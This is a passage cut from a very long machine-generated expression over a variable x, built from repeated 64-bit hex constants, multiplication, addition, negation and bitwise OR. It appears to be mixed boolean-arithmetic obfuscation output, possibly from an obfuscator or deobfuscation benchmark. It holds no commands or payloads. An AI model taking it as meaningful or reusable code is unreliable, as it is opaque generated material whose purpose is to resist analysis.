a407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbd